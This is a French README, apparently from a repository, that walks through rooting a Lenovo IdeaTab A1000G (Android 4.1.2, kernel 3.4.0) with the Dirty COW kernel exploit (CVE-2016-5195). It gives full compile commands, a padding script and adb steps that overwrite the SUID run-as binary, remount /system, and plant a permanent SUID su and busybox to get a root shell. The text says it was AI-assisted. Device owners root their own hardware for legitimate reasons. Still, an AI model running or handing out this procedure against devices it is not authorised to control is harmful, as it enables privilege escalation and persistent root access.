Lenovo IdeaTab A1000G — Root
Remarque : Cette documentation et le code d'exploit ont été générés avec l'aide de l'IA (Kiro).
Vérifiez avant utilisation — l'IA peut faire des erreurs et en fait.
Appareil
| Champ | Valeur |
|---|
| Modèle | Lenovo IdeaTab A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | Dual-core Cortex-A9 @ 1.2GHz |
| Noyau | Linux 3.4.0 |
| Build | A1000G_A412_01_09_130907_2G |
| Android | 4.1.2 (Jelly Bean) |
Prérequis
- Débogage USB activé
- ADB connecté
- Android NDK r28+ dans
~/Android/Sdk/ndk/
- Binaire statique
busybox-armv7l (busybox.net/downloads/binaries/1.21.1/)
Exploit — CVE-2016-5195 (Dirty COW)
Course critique dans le chemin mmap/write du noyau. Concerne les noyaux 2.6.22–4.8.3.
Cible : /system/bin/run-as (SUID root, 9448 octets).
1. Compiler
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
2. Compléter su jusqu'à la taille cible (9448 octets)
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
3. Exécuter
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!
4. Installer su définitivement
# Enter root shell first
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
5. Installer busybox (facultatif)
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
Utilisation
adb shell
/system/bin/run-as # drops to root shell (#)
id # uid=0(root)
adb shell /system/bin/su -c cmd ne fonctionne PAS — ADB retire le setuid.
Il faut d'abord ouvrir un shell interactif.
Après le Root
/system/bin/run-as → écrasé (la fonctionnalité run-as d'origine est cassée)
/system/bin/su → binaire su SUID permanent
/system/bin/busybox → busybox 1.21.1
Tentatives échouées
| Méthode | Raison |
|---|
| CVE-2013-1763 sock_diag | Non compilé dans le noyau |
Fichiers
.
├── README.md
├── root.sh # automated root script
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # main() wrapper
└── su2_src.c # su binary source
Binaires précompilés non inclus — compilez à partir de la source en suivant les étapes ci-dessus.
Références
- Source CVE-2016-5195 : Arinerron/CVE-2016-5195
- ROM du firmware (build différent, utilisée uniquement pour l'extraction des symboles du noyau) :
Lenovo_A1000G_MT6577_01_24_130329
— les symboles de cette ROM fonctionnent sur le build
A412_01_09_130907 car les deux partagent la même disposition virtuelle du noyau